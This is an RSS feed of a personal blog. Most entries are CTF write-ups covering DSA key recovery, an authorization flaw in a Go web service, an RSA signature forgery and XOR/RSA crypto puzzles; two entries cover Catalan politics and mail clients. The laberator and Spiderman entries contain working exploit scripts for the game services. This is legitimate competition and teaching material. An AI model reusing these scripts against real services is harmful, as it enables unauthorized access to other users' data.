| CARVIEW |
Select Language
HTTP/2 200
server: nginx/1.22.1
date: Thu, 01 Jan 2026 00:14:53 GMT
content-type: application/rss+xml
content-length: 79817
last-modified: Sun, 07 Apr 2019 15:50:33 GMT
etag: "5caa1c49-137c9"
strict-transport-security: max-age=15768000
content-security-policy: default-src 'self' static.siccegge.de; style-src 'self' 'unsafe-inline' static.siccegge.de; script-src 'self' static.siccegge.de stats.siccegge.de 'unsafe-inline'; img-src *;
x-frame-options: DENY
accept-ranges: bytes
Christoph's last Weblog entries
https://weblog.christoph-egger.org/
-
Midnight Sun CTF 2019 EZDSA Writeup
https://weblog.christoph-egger.org/Midnight_Sun_CTF_2019_EZDSA_Writeup.html
https://weblog.christoph-egger.org/Midnight_Sun_CTF_2019_EZDSA_Writeup.html
Sun, 7 Apr 2019 17:21:50 +0200
<p>This is <a href="https://www.faust.ninja">FAUST</a> playing CTF again, this time <a href="https://ctf.midnightsunctf.se/">midnightsun</a>.</p>
<p>Team: <a href="https://www.faust.ninja">FAUST</a> <br />
Crew: <a href="https://christoph-egger.org">siccegge</a></p>
<p>OK so we're looking at the EZDSA service. This is a signature service and the task is essentially to recover the signing key. Code is reproduced below.</p>
<pre><code><span class="synComment">#!/usr/bin/python2</span>
<span class="synPreProc">from</span> hashlib <span class="synPreProc">import</span> sha1
<span class="synPreProc">from</span> Crypto <span class="synPreProc">import</span> Random
<span class="synPreProc">from</span> flag <span class="synPreProc">import</span> FLAG
<span class="synStatement">class</span> <span class="synIdentifier">PrivateSigningKey</span>:
<span class="synStatement">def</span> <span class="synIdentifier">__init__</span>(self):
self.gen = <span class="synConstant">0x44120dc98545c6d3d81bfc7898983e7b7f6ac8e08d3943af0be7f5d52264abb3775a905e003151ed0631376165b65c8ef72d0b6880da7e4b5e7b833377bb50fde65846426a5bfdc182673b6b2504ebfe0d6bca36338b3a3be334689c1afb17869baeb2b0380351b61555df31f0cda3445bba4023be72a494588d640a9da7bd16L</span>
self.q = <span class="synConstant">0x926c99d24bd4d5b47adb75bd9933de8be5932f4bL</span>
self.p = <span class="synConstant">0x80000000000001cda6f403d8a752a4e7976173ebfcd2acf69a29f4bada1ca3178b56131c2c1f00cf7875a2e7c497b10fea66b26436e40b7b73952081319e26603810a558f871d6d256fddbec5933b77fa7d1d0d75267dcae1f24ea7cc57b3a30f8ea09310772440f016c13e08b56b1196a687d6a5e5de864068f3fd936a361c5L</span>
self.key = <span class="synIdentifier">int</span>(FLAG.encode(<span class="synConstant">"hex"</span>), <span class="synConstant">16</span>)
<span class="synStatement">def</span> <span class="synIdentifier">sign</span>(self, m):
<span class="synStatement">def</span> <span class="synIdentifier">bytes_to_long</span>(b):
<span class="synStatement">return</span> <span class="synIdentifier">long</span>(b.encode(<span class="synConstant">"hex"</span>), <span class="synConstant">16</span>)
h = bytes_to_long(sha1(m).digest())
u = bytes_to_long(Random.new().read(<span class="synConstant">20</span>))
<span class="synStatement">assert</span>(bytes_to_long(m) % (self.q - <span class="synConstant">1</span>) != <span class="synConstant">0</span>)
k = <span class="synIdentifier">pow</span>(self.gen, u * bytes_to_long(m), self.q)
r = <span class="synIdentifier">pow</span>(self.gen, k, self.p) % self.q
s = <span class="synIdentifier">pow</span>(k, self.q - <span class="synConstant">2</span>, self.q) * (h + self.key * r) % self.q
<span class="synStatement">assert</span>(s != <span class="synConstant">0</span>)
<span class="synStatement">return</span> r, s
</code></pre>
<p>The outer service was not provided but you could pass in base64 encoded byte arrays and got back r and s as already indicated. Looking at the final computation for s we notice that given \((h + k * r)\) and \(h, r\) we can easily recover \(k\). For this to work it would be convenient if the first term ends up being 1. Unfortunately, the easiest way to get there is prevented: \(g^{q-1} = 1\). Fortunately this is not the only exponent where this works and a good candidate is \((q-1 / 2)\).</p>
<pre><code><span class="synIdentifier">pow</span>(gen, (q-<span class="synConstant">1</span>)//<span class="synConstant">2</span>, q)
<span class="synConstant">1</span>
</code></pre>
<p>From there the only thing left is solving \(s = (h + k * r)\). Fortunately gmpy has the solution prepackaged again: <code>divm</code>. So we proceed by getting a valid "signature" on \((q-1 / 2)\). The rest is simple calculation:</p>
<pre><code><span class="synComment">#!/usr/bin/python3</span>
sha1(binascii.unhexlify(<span class="synConstant">"%x"</span> % ((q-<span class="synConstant">1</span>)//<span class="synConstant">2</span>))).hexdigest()
<span class="synConstant">'e6d805a06977596563941c1e732e192045aa49f0'</span>
base64.b64encode(binascii.unhexlify(<span class="synConstant">"%x"</span> % ((q-<span class="synConstant">1</span>)//<span class="synConstant">2</span>)))
gmpy2.divm(s-h, r, q)
mpz(<span class="synConstant">39611266634150218411162254052999901308991</span>)
binascii.unhexlify(<span class="synConstant">"%x"</span> % <span class="synConstant">39611266634150218411162254052999901308991</span>)
b<span class="synConstant">'th4t_w4s_e4sy_eh?'</span>
</code></pre>
<p>OK so why does \((q-1 / 2)\) work? Essentially, the field defined \(F_q\) -- calculations mod q -- has q elements additively and \(q-1\) elements multiplicatively(and we're considering exponentiation as repeated multiplication). Therefore it contains cyclic subgroups for all factors of \(q-1\) and for every element \(e\), \(e^o = 1\) where o is the order of the subgroup <em>that</em> element belongs to. as the generator is trivially not \(-1\) -- the subgroup of size 2 -- \((q-1 / 2)\) must be a multiple of the generated group's order.</p>
-
RuCTFe 2018 laberator
https://weblog.christoph-egger.org/RuCTFe_2018_laberator.html
https://weblog.christoph-egger.org/RuCTFe_2018_laberator.html
Sun, 11 Nov 2018 16:33:18 +0100
<p>Team: <a href="https://www.faust.ninja">FAUST</a> <br />
Crew: <a href="https://twitter.com/julian24">izibi</a>, <a href="https://christoph-egger.org">siccegge</a> <br />
CTF: <a href="https://ructfe.org/2018">RuCTFe 2018</a></p>
<h2>The service</h2>
<p>Webservice written in go. Has some pretty standard functionality (register, login, store a string) with the logic somewhat dispersed between the main webserver in <code>main.go</code>, some stuff in the templates and the websockets endpoint in <code>command_executor.go</code>. Obviously you have to extract the strings ("labels") from the gameserver. Also the <code>phrase</code> stored when creating the account was used to store some more flags.</p>
<h2>Client side authentication for labels</h2>
<p>Gem from the viewLabel javascript function. For some reason the label's owner is checked client-side after the data was already returned to the client.</p>
<pre><code>
<span class="synIdentifier">let</span> label = JSON.parse(e.data);
<span class="synStatement">if</span> (label.Owner !== getLoginFromCookies()) <span class="synIdentifier">{</span>
<span class="synStatement">return</span>;
<span class="synIdentifier">}</span>
</code></pre>
<p>And indeed, the websocket view method checks for <em>some</em> valid session but doesn't concern itself with any further validation of access priviledges. As long as you have <em>any</em> valid session and can figure out websockets you can get about any label you like.</p>
<pre><code>
<span class="synConstant">"view"</span>: <span class="synType">func</span>(ex *CommandExecutor, data []<span class="synType">byte</span>) ([]<span class="synType">byte</span>, <span class="synType">error</span>) {
<span class="synStatement">var</span> viewData ViewData
err := json.Unmarshal(data, &viewData)
<span class="synStatement">if</span> err != <span class="synStatement">nil</span> {
<span class="synStatement">return</span> <span class="synStatement">nil</span>, createUnmarshallingError(err, data)
}
cookies := parseCookies(viewData.RawCookies)
ok, _ := ex.sm.ValidateSession(cookies)
<span class="synStatement">if</span> !ok {
<span class="synStatement">return</span> <span class="synStatement">nil</span>, errors.New(<span class="synConstant">"invalid session"</span>)
}
label, err := ex.dbApi.ViewLabel(viewData.LabelId)
<span class="synStatement">if</span> err != <span class="synStatement">nil</span> {
<span class="synStatement">return</span> <span class="synStatement">nil</span>, errors.New(fmt.Sprintf(<span class="synConstant">"db request error: %v, labelId=(%v)"</span>, err.Error(), viewData.LabelId))
}
rawLabel, err := json.Marshal(*label)
<span class="synStatement">if</span> err != <span class="synStatement">nil</span> {
<span class="synStatement">return</span> <span class="synStatement">nil</span>, errors.New(fmt.Sprintf(<span class="synConstant">"marshalling error: %v, label=(%v)"</span>, err.Error(), *label))
}
<span class="synStatement">return</span> rawLabel, <span class="synStatement">nil</span>
},
</code></pre>
<p>Putting things together. The exploit builds an fresh account. It generates some label (to figure out the ID if the most recent labels) and then bulk loads the last 100 labels</p>
<pre><code><span class="synComment">#!/usr/bin/env python3</span>
<span class="synPreProc">import</span> requests
<span class="synPreProc">import</span> websocket
<span class="synPreProc">import</span> json
<span class="synPreProc">import</span> sys
<span class="synPreProc">import</span> string
<span class="synPreProc">import</span> random
<span class="synPreProc">import</span> base64
<span class="synStatement">def</span> <span class="synIdentifier">main</span>():
host = sys.argv[<span class="synConstant">1</span>]
session = requests.session()
password = [i <span class="synStatement">for</span> i <span class="synStatement">in</span> string.ascii_letters]
random.shuffle(password)
username = <span class="synConstant">''</span>.join(password[:<span class="synConstant">10</span>])
phrase = base64.b64encode((<span class="synConstant">''</span>.join(password[<span class="synConstant">10</span>:<span class="synConstant">20</span>])).encode()).decode()
password = base64.b64encode((<span class="synConstant">''</span>.join(password[<span class="synConstant">20</span>:<span class="synConstant">36</span>])).encode()).decode()
x = session.get(<span class="synConstant">'https://%s:8888/register?login=%s&phrase=%s&password=%s'</span> %
(host,username,phrase,password))
x = session.get(<span class="synConstant">'https://%s:8888/login?login=%s&password=%s'</span> %
(host,username, password))
raw_cookie = <span class="synConstant">'login=%s;sid=%s'</span> % (x.cookies[<span class="synConstant">'login'</span>], x.cookies[<span class="synConstant">'sid'</span>])
ws = websocket.create_connection(<span class="synConstant">'ws://%s:8888/cmdexec'</span> % (host,))
data = {<span class="synConstant">'Text'</span>: <span class="synConstant">'test'</span>, <span class="synConstant">'Font'</span>: <span class="synConstant">'Arial'</span>, <span class="synConstant">'Size'</span>: <span class="synConstant">20</span>, <span class="synConstant">'RawCookies'</span>: raw_cookie}
ws.send(json.dumps({<span class="synConstant">"Command"</span>: <span class="synConstant">"create"</span>, <span class="synConstant">"Data"</span>: json.dumps(data)}))
<span class="synComment"># make sure create is already commited before continuing</span>
ws.recv()
data = {<span class="synConstant">'Offset'</span>: <span class="synConstant">0</span>, <span class="synConstant">'RawCookies'</span>: raw_cookie}
ws.send(json.dumps({<span class="synConstant">"Command"</span>: <span class="synConstant">"list"</span>, <span class="synConstant">"Data"</span>: json.dumps(data)}))
stuff = json.loads(ws.recv())
lastid = stuff[<span class="synConstant">0</span>][<span class="synConstant">'ID'</span>]
<span class="synStatement">for</span> i <span class="synStatement">in</span> <span class="synIdentifier">range</span>(<span class="synConstant">0</span> <span class="synStatement">if</span> lastid-<span class="synConstant">100</span> < <span class="synConstant">0</span> <span class="synStatement">else</span> lastid-<span class="synConstant">100</span>, lastid):
ws = websocket.create_connection(<span class="synConstant">'ws://%s:8888/cmdexec'</span> % (host,))
<span class="synStatement">try</span>:
data = {<span class="synConstant">'LabelId'</span>: i, <span class="synConstant">'RawCookies'</span>: raw_cookie}
ws.send(json.dumps({<span class="synConstant">"Command"</span>: <span class="synConstant">"view"</span>, <span class="synConstant">"Data"</span>: json.dumps(data)}))
<span class="synIdentifier">print</span>(json.loads(ws.recv())[<span class="synConstant">"Text"</span>])
<span class="synStatement">except</span> <span class="synType">Exception</span>:
<span class="synStatement">pass</span>
<span class="synStatement">if</span> __name__ == <span class="synConstant">'__main__'</span>:
main()
</code></pre>
<h2>Password Hash</h2>
<p>The <a href="https://github.com/werelaxe/fast-hash">hash module</a> used is obviously suspect. consists of a binary and a wrapper, freshly uploaded to github just the day before. Also if you create a test account with an short password (say, <code>test</code>) you end up with an hash that contains the password in plain (say, <code>testTi\x02mH\x91\x96U\\I\x8a\xdd</code>). Looking closer, if you register with a password that is exactly 16 characters (<code>aaaaaaaaaaaaaaaa</code>) you end up with an 16 character hash that is identical. This also means the password hash is a valid password for the account.</p>
<p>Listening to <code>tcpdump</code> for a while you'll notice interesting entries:</p>
<pre>
[{"ID":2,"Login":"test","PasswordHash":"dGVzdFRpAm1IkZZVXEmK3Q==","Phrase":{"ID":0,"Value":""}}]
</pre>
<p>See the password hash there? Turns out this comes from the regularly scheduled <code>last_users</code> websocket call.</p>
<pre><code>
<span class="synConstant">"last_users"</span>: <span class="synType">func</span>(ex *CommandExecutor, _ []<span class="synType">byte</span>) ([]<span class="synType">byte</span>, <span class="synType">error</span>) {
users := ex.dbApi.GetLastUsers()
rawUsers, err := json.Marshal(*users)
<span class="synStatement">if</span> err != <span class="synStatement">nil</span> {
<span class="synStatement">return</span> <span class="synStatement">nil</span>, errors.New(fmt.Sprintf(<span class="synConstant">"marshalling error: %v, users=(%v)"</span>, err.Error(), *users))
}
<span class="synStatement">return</span> rawUsers, <span class="synStatement">nil</span>
},
</code></pre>
<p>So call <code>last_users</code> (doesn't even need a session), for all the last 20 users log in and just load all the labels. Good thing passwords are transfered base64 encoded, so no worrying about non-printable characters in the password hash.</p>
<p>Additionally sessions were generated with the broken hash implementation. This probably would have allowed to compute session ids.</p>
-
iCTF 2018 Spiderman writeup
https://weblog.christoph-egger.org/iCTF_2018_Spiderman_writeup.html
https://weblog.christoph-egger.org/iCTF_2018_Spiderman_writeup.html
Thu, 22 Mar 2018 13:06:34 +0100
<p>This is <a href="https://www.faust.ninja">FAUST</a> playing CTF again, this time <a href="https://ictf.cs.ucsb.edu">iCTF</a>. We somehow managed to score an amazing 5th place.</p>
<p>Team: <a href="https://www.faust.ninja">FAUST</a> <br />
Crew: <a href="https://twitter.com/julian24">izibi</a>, <a href="https://christoph-egger.org">siccegge</a> <br />
Files: <a href="https://ictf2018.net/spiderman.tgz">spiderman</a></p>
<p><code>spider</code> is a patched python interpreter. <code>man</code> is a pyc but with different magic values (explaining the patched python interpreter for now). Plain decompiling failes due to some (dead) cruft code at the beginning of all methods. can be patched away or you do more manual disassembling.</p>
<p>Observations:</p>
<ul>
<li>does something with RSA</li>
<li>public exponent is slightly uncommon (\(2^{16}+3\) instead of \(2^{16}+1\)) but that should be fine. </li>
<li>uses <code>openssl prime -generate</code> to generate the RSA key. Doesn't use <code>-safe</code> but should also be fine for RSA purposes</li>
<li>You need to do a textbook RSA signature on a challenge to get the flag</li>
</ul>
<p>Fine so far nothing obvious to break. When interacting with the service, you will likely notice the <em>Almost Equal</em> function in the <em>Fun</em> menu. According to the bytecode, it takes two integers \(a\) and \(b\) and outputs if \(a = b \pm 1\), but looking at the gameserver traffic, these two numbers are also considered to be almost equal:</p>
<p>$$
a = 33086666666199589932529891 \\
b = 35657862677651939357901381
$$</p>
<p>So something's strange here. Starting the spider binary gives a python shell where you can play around with these numbers and you will find that <code>a == b - 1</code> will actually result in <code>True</code>. So there is something wrong with the <code>==</code> operator in the shipped python interpreter, however it doesn't seem to be any sort of overflow. Bit representation also doesn't give anything obvious. Luky guess: why the strange public exponent? let's try the usual here. and indeed \(a = b - 1 \pmod{2^{16}+1}\). Given this is also used to compare the signature on the challenge this becomes easily bruteforceable.</p>
<pre><code><span class="synComment">#!/usr/bin/env python3</span>
<span class="synPreProc">import</span> nclib, sys
<span class="synPreProc">from</span> random <span class="synPreProc">import</span> getrandbits
e = <span class="synConstant">2</span>**<span class="synConstant">16</span>+<span class="synConstant">3</span> <span class="synComment"># exponent</span>
w = <span class="synConstant">2</span>**<span class="synConstant">16</span>+<span class="synConstant">1</span> <span class="synComment"># wtf</span>
nc = nclib.Netcat((sys.argv[<span class="synConstant">1</span>], <span class="synConstant">20005</span>), udp=<span class="synIdentifier">False</span>, verbose=<span class="synIdentifier">True</span>)
nc.recv_until(b<span class="synConstant">'4) Exit</span><span class="synSpecial">\n</span><span class="synConstant">'</span>)
nc.send(b<span class="synConstant">'3</span><span class="synSpecial">\n</span><span class="synConstant">'</span>) <span class="synComment"># Read</span>
nc.recv_until(b<span class="synConstant">'What do you want to read?</span><span class="synSpecial">\n</span><span class="synConstant">'</span>)
nc.send(sys.argv[<span class="synConstant">2</span>].encode() + b<span class="synConstant">'</span><span class="synSpecial">\n</span><span class="synConstant">'</span>)
nc.recv_until(b<span class="synConstant">'solve this:</span><span class="synSpecial">\n</span><span class="synConstant">'</span>)
modulus, challenge = <span class="synIdentifier">map</span>(<span class="synIdentifier">int</span>, nc.recv_until(b<span class="synConstant">'</span><span class="synSpecial">\n</span><span class="synConstant">'</span>).decode().split()[:<span class="synConstant">2</span>])
challenge %= w
<span class="synComment"># Starting at 0 would also work, but using large random numbers makes</span>
<span class="synComment"># it less obvious that we only bruteforce a small set of numbers</span>
answer = getrandbits(<span class="synConstant">2000</span>)
<span class="synStatement">while</span> (<span class="synIdentifier">pow</span>(answer, e, modulus)) % w != challenge:
answer += <span class="synConstant">1</span>
nc.send(<span class="synIdentifier">str</span>(answer).encode() + b<span class="synConstant">'</span><span class="synSpecial">\n</span><span class="synConstant">'</span>)
flag = nc.recv_until(b<span class="synConstant">'</span><span class="synSpecial">\n</span><span class="synConstant">'</span>)
nc.recv_until(b<span class="synConstant">'4) Exit</span><span class="synSpecial">\n</span><span class="synConstant">'</span>)
nc.send(b<span class="synConstant">'4</span><span class="synSpecial">\n</span><span class="synConstant">'</span>)
</code></pre>
-
Observations on Catalunya
https://weblog.christoph-egger.org/Observations_on_Catalunya.html
https://weblog.christoph-egger.org/Observations_on_Catalunya.html
Wed, 4 Oct 2017 00:17:02 +0200
<p>Some things I don't really understand reading in German media</p>
<ul>
<li><p>Suddenly the electoral system becomes a legitimacy problem. While it
has never been a problem for any of the previous decisions of the
Catalunyan regional government suddenly a
<a href="https://en.wikipedia.org/wiki/Catalan_regional_election,_2015">"only 48% of people voted for the government"</a> results in the
decisions being illegitimate? This is also a property of many
governments (<a href="https://en.wikipedia.org/wiki/Greek_legislative_election,_September_2015">Greece</a> and the <a href="https://en.wikipedia.org/wiki/United_States_presidential_election,_2016">US president</a> being obvious
examples but also the <a href="https://en.wikipedia.org/wiki/German_federal_election,_2002">German Bundestag</a> can have a majority
government without the majority of votes). Is this just the media
trying to find something they can blame on "the other side"?</p></li>
<li><p>How can you ever possibly excuse violence against people peacefully
and non-violently doing whatever they're doing. Sure this referendum
was considered illegal (and it may be legitimate to ignore the
result, or legal prosecution of the initiators) but how can that
ever possibly be an excuse for half a population peacefully doing
whatever they are about to do? How can you possibly claim that "both
sides are to blame" for the violence? "Die Zeit" seems to be the
only one with an somewhat convincing argument ("Deciding to press on
despite the obviously happening violence") while "Welt", "Spiegel"
and "Süddeutsche" all trying to blame the regional government for
the violence with as much of an argument as asking people to do
something illegal in a totally peaceful way. Possibly an argument
for legal consequences, sure -- but for violence?</p></li>
</ul>
<p>Too bad I didn't keep the links / articles from Sunday night.</p>
-
Another Xor (CSAW 2017)
https://weblog.christoph-egger.org/Another_Xor__CSAW_2017_.html
https://weblog.christoph-egger.org/Another_Xor__CSAW_2017_.html
Tue, 3 Oct 2017 18:40:10 +0200
<p>A short while ago, <a href="https://faust.ninja/">FAUST</a> participated in this year's
<a href="https://ctf.csaw.io/">CSAW qualification</a> and -- as usual -- I was working on the Crypto
challenges again. The first puzzle I worked on was called "Another
Xor" -- and, while there are quite some <a href="https://ctftime.org/task/4650">write ups already</a> our
solution was somewhat different (maybe even the <em>intended</em> solution
given how nice things worked out) and certainly interesting.</p>
<p>The challenge provides a cipher-text. It's essentially a stream cipher
with <code>key</code> repeated to generate the key stream. The plain-text was
<code>plain</code> + <code>key</code> + <code>checksum</code>.</p>
<pre><code>p = this is a plaintextThis is the keyfa5d46a2a2dcdeb83e0241ee2c0437f7
k = This is the keyThis is the keyThis is the keyThis is the keyThis i
</code></pre>
<h2>Key length</h2>
<p>Our first step was figuring out the key length. Let's assume for now
the key was <code>This is the key</code>. Notice that the key is also part of
the plain-text and we know something about its location -- it ends at
32 characters from the back. If we only take a look at the encrypted
key it should have the following structure:</p>
<pre><code>p' = This is the key
k' = he keyThis is t
</code></pre>
<p>The thing to notice here is that every character in the Key appears
both in the plain-text and key stream sequence. And the cipher-text is
the XOR (⊕) of both. Therefore XOR over the cipher-text sequence
encrypting the key should equal 0 (⊕(p') ⊕ ⊕(k') = 0). So remove the
last 32 characters and find all suffixes that result in a XOR
of 0. Fortunately there is exactly one such suffix (there could be
multiple) and therefore we know the key size: 67.</p>
<p>To put it in code, this basically is the function we implemented for this:</p>
<pre><code><span class="synStatement">def</span> <span class="synIdentifier">calculate</span>(ciphertextcandidate):
accumulator = <span class="synConstant">0</span>
<span class="synStatement">for</span> char <span class="synStatement">in</span> ciphertextcandidate:
accumulator = accumulator ^ char
</code></pre>
<p>Which, for the matching plain-text and key-stream fragments is equal (due to the XOR encryption) to</p>
<pre><code><span class="synStatement">def</span> <span class="synIdentifier">calculate</span>(plainfragment, keyfragment):
accumulator = <span class="synConstant">0</span>
<span class="synStatement">for</span> i <span class="synStatement">in</span> <span class="synIdentifier">range</span>(<span class="synIdentifier">len</span>(plainfragment):
accumulator = accumulator ^ (plainfragment[i] ^ keyfragment[i])
</code></pre>
<p>Now XOR lets us nicely reorder this to</p>
<pre><code><span class="synStatement">def</span> <span class="synIdentifier">calculate</span>(plainfragment, keyfragment):
accumulator = <span class="synConstant">0</span>
<span class="synStatement">for</span> i <span class="synStatement">in</span> <span class="synIdentifier">range</span>(<span class="synIdentifier">len</span>(plainfragment):
accumulator = accumulator ^ (plainfragment[i] ^
keyfragment[(i + <span class="synConstant">6</span>) % <span class="synIdentifier">len</span>(plainfragment)])
</code></pre>
<p>And, as <code>plainfragment[i]</code> and
<code>keyfragment[(i + 6) % len(plainfragment)]</code> are equal for the
plain-text range encoding the key this becomes</p>
<pre><code><span class="synStatement">def</span> <span class="synIdentifier">calculate</span>(plainfragment, keyfragment):
accumulator = <span class="synConstant">0</span>
<span class="synStatement">for</span> i <span class="synStatement">in</span> <span class="synIdentifier">range</span>(<span class="synIdentifier">len</span>(plainfragment):
accumulator = accumulator ^ <span class="synConstant">0</span>
</code></pre>
<p>Or simply <code>0</code> if the guess of the cipher-text range is correct.</p>
<h2>Key recovery</h2>
<p>Now the nice thing to notice is that the length of the key (67) is a
prime (and 38, the plain-text length, is a generator). As a result, we
only need to guess one byte of the key:</p>
<p>Assume you know one byte of the key (and the position). Now you can
use that one byte of the key to decrypt the next byte of the key
(using the area where the key is part of the plain-text). Due to the
primeness of the key length this allows recovery of the full key.</p>
<p>Finally you can either print all 256 options and look for the one that
looks reasonable or you can verify the md5sum which will give you the
one valid solution, <code>flag{sti11_us3_da_x0r_for_my_s3cratz}</code>.</p>
<h2>Code</h2>
<pre><code>
cipher = b<span class="synConstant">"'L</span><span class="synSpecial">\x10\x12\x1a\x01\x00</span><span class="synConstant">I[P-U</span><span class="synSpecial">\x1c</span><span class="synConstant">U</span><span class="synSpecial">\x7f\x0b\x08</span><span class="synConstant">3X]</span><span class="synSpecial">\x1b</span><span class="synConstant">'</span><span class="synSpecial">\x03\x0b</span><span class="synConstant">R(</span><span class="synSpecial">\x04\r</span><span class="synConstant">7SI</span><span class="synSpecial">\n\x1c\x02</span><span class="synConstant">T</span><span class="synSpecial">\x15\x05\x15</span><span class="synConstant">%EQ</span><span class="synSpecial">\x18\x00\x19\x11</span><span class="synConstant">SJ</span><span class="synSpecial">\x00</span><span class="synConstant">RV</span><span class="synSpecial">\n\x14</span><span class="synConstant">YO</span><span class="synSpecial">\x0b\x1e</span><span class="synConstant">I</span><span class="synSpecial">\n\x01\x0c</span><span class="synConstant">E</span><span class="synSpecial">\x14</span><span class="synConstant">A</span><span class="synSpecial">\x1e\x07\x00\x14</span><span class="synConstant">aZ</span><span class="synSpecial">\x18\x1b\x02</span><span class="synConstant">R</span><span class="synSpecial">\x1b</span><span class="synConstant">X</span><span class="synSpecial">\x03\x05\x17\x00\x02\x07</span><span class="synConstant">K</span><span class="synSpecial">\n\x1a</span><span class="synConstant">LAM</span><span class="synSpecial">\x1f\x1d\x17\x1d\x00\x15\x1b\x1d\x0f</span><span class="synConstant">H</span><span class="synSpecial">\x0e</span><span class="synConstant">I</span><span class="synSpecial">\x1e\x02</span><span class="synConstant">I</span><span class="synSpecial">\x01\x0c\x15\x00</span><span class="synConstant">P</span><span class="synSpecial">\x11\\</span><span class="synConstant">PXPCB</span><span class="synSpecial">\x03</span><span class="synConstant">B</span><span class="synSpecial">\x13</span><span class="synConstant">TBL</span><span class="synSpecial">\x11</span><span class="synConstant">PC</span><span class="synSpecial">\x0b</span><span class="synConstant">^</span><span class="synSpecial">\t</span><span class="synConstant">M</span><span class="synSpecial">\x14</span><span class="synConstant">IW</span><span class="synSpecial">\x08\r</span><span class="synConstant">DD%FC"</span>
<span class="synStatement">def</span> <span class="synIdentifier">keycover</span>(guess):
key = <span class="synIdentifier">dict</span>()
pos = <span class="synConstant">38</span>
key[<span class="synConstant">38</span>] = guess
<span class="synStatement">for</span> i <span class="synStatement">in</span> <span class="synIdentifier">range</span>(<span class="synConstant">67</span>):
newpos = (pos % <span class="synConstant">67</span>) + <span class="synConstant">38</span>
key[newpos] = xor(cipher[pos:], key[pos])
pos = newpos
<span class="synStatement">try</span>:
<span class="synStatement">return</span> b<span class="synConstant">''</span>.join([ key[i] <span class="synStatement">for</span> i <span class="synStatement">in</span> <span class="synIdentifier">range</span>(<span class="synConstant">38</span>, <span class="synConstant">105</span>, <span class="synConstant">1</span>) ])
<span class="synStatement">except</span>:
<span class="synStatement">return</span> b<span class="synConstant">'test'</span>
<span class="synStatement">for</span> guess <span class="synStatement">in</span> <span class="synIdentifier">range</span>(<span class="synConstant">256</span>):
keycand = keycover(<span class="synIdentifier">bytes</span>([guess]))
plaincand = xor(cipher, repeat(keycand, <span class="synIdentifier">len</span>(cipher)))
<span class="synStatement">if</span> md5(plaincand[:-<span class="synConstant">32</span>]).hexdigest().encode() == plaincand[-<span class="synConstant">32</span>:]:
<span class="synIdentifier">print</span>(keycand, plaincand)
</code></pre>
-
Looking for a mail program + desktop environment
https://weblog.christoph-egger.org/Looking_for_a_mail_program___desktop_environment.html
https://weblog.christoph-egger.org/Looking_for_a_mail_program___desktop_environment.html
Tue, 3 Oct 2017 17:16:34 +0200
<p>Seems it is now almost a decade since I migrated from Thunderbird to
GNUS. And GNUS is an awesome mail program that I still rather
like. However GNUS is also heavily quirky. It's essentially
single-threaded and synchronous which means you either have to wait for
the "IMAP check for new mails" to finish or you have to C-g abort it
if you want the user interface to work; You have to wait for the "Move
mail" to complete (which can take a while -- especially with
dovecot-antispam training the filter) before you can continue
working. It has it's funny way around TLS and certificate
validation. And it seems to hang from time to time until it is C-g
interrupted.</p>
<p>So when I set up my new desktop machine I decided to try something
else. My first try was claws-mail which seems OK but totally fails in
the asynchronous area. While the GUI stays reactive, all actions that
require IMAP interactions become incredibly slow when a background
IMAP refresh is running. I do have quite some mailboxes and waiting
the 5+ minutes after opening claws or whenever it decides to do a
refresh is just to much.</p>
<p>Now my last try has been Kmail -- also driven by the idea of having a
more integrated setup with CalDAV and CardDAV around and similar
goodies. And Kmail really compares nicely to claws in many ways. After
all, I can use it while it's doing its things in the
background. However the KDE folks seem to have dropped all support for
the <code>\recent</code> IMAP flag which I heavily rely on. I do -- after all --
keep a GNUS like workflow where all unread mail (ref <code>\seen</code>) needs to
still be acted upon which means there can easily be quite a few unread
messages when I'm busy at the moment and just having a quick look at
the new (ref <code>\recent</code>) mail to see if there's something super-urgent is
essential.</p>
<p>So I'm now looking for useful suggestions for a mail program (ideally
with desktop integration) with the following essential features:</p>
<ul>
<li>It stays usable at all times -- which means smarter queuing than
claws -- so foreground actions are not delayed by any background
task the mail program might be up to and tasks like moving mail
are handled in the background.</li>
<li>Decent support for filtering. Apart from some basic stuff I need
shortcut filtering for <code>\recent</code> mail.</li>
<li>Option to hide <code>\seen</code> mail (and ideally hide all folders that
only contain <code>\seen</code> mail). Hopefully toggle-able by some
hotkey. "Age in days" would be an acceptable approximation, but
Kmail doesn't seem to allow that in search (it's available as a
filter though).</li>
</ul>
-
Secured OTP Server (ASIS CTF 2017)
https://weblog.christoph-egger.org/Secured_OTP_Server__ASIS_CTF_2017_.html
https://weblog.christoph-egger.org/Secured_OTP_Server__ASIS_CTF_2017_.html
Sun, 9 Apr 2017 15:20:23 +0200
<p>This weekend was <a href="https://asis-ctf.ir/home/">ASIS Quals</a> weekend again. And just like last
year they have quite a lot of nice crypto-related puzzles which are
fun to solve (and not "the same as every ctf").</p>
<p>Actually Secured OTP Server is pretty much the same as the <a href="https://nacayoshi00.wordpress.com/2017/04/09/20170408_asisctf-writeup/">First OTP Server</a>
(actually it's a "fixed" version to enforce the intended
attack). However the template phrase now starts with enough stars to
prevent <em>simple</em> root.:</p>
<pre><code><span class="synStatement">def</span> <span class="synIdentifier">gen_otps</span>():
template_phrase = <span class="synConstant">'*************** Welcome, dear customer, the secret passphrase for today is: '</span>
OTP_1 = template_phrase + gen_passphrase(<span class="synConstant">18</span>)
OTP_2 = template_phrase + gen_passphrase(<span class="synConstant">18</span>)
otp_1 = bytes_to_long(OTP_1)
otp_2 = bytes_to_long(OTP_2)
nbit, e = <span class="synConstant">2048</span>, <span class="synConstant">3</span>
privkey = RSA.generate(nbit, e = e)
pubkey = privkey.publickey().exportKey()
n = <span class="synIdentifier">getattr</span>(privkey.key, <span class="synConstant">'n'</span>)
r = otp_2 - otp_1
<span class="synStatement">if</span> r < <span class="synConstant">0</span>:
r = -r
IMP = n - r**(e**<span class="synConstant">2</span>)
<span class="synStatement">if</span> IMP > <span class="synConstant">0</span>:
c_1 = <span class="synIdentifier">pow</span>(otp_1, e, n)
c_2 = <span class="synIdentifier">pow</span>(otp_2, e, n)
<span class="synStatement">return</span> pubkey, OTP_1[-<span class="synConstant">18</span>:], OTP_2[-<span class="synConstant">18</span>:], c_1, c_2
</code></pre>
<p>Now let <code>A = template * 2^(18*8)</code>, <code>B = passphrase</code>. This results in
<code>OTP = A + B</code>. <code>c</code> therefore is <code>(A+B)^3 mod n == A^3 + 3A^2b + 3AB^2
+ B^3</code>. Notice that only <code>B^3</code> is larger than <code>N</code> and is statically
known. Therefore we can calculate <code>A^3 // N</code> and add that to <code>c</code> to
"undo" the modulo operation. With that it's only <code>iroot</code> and
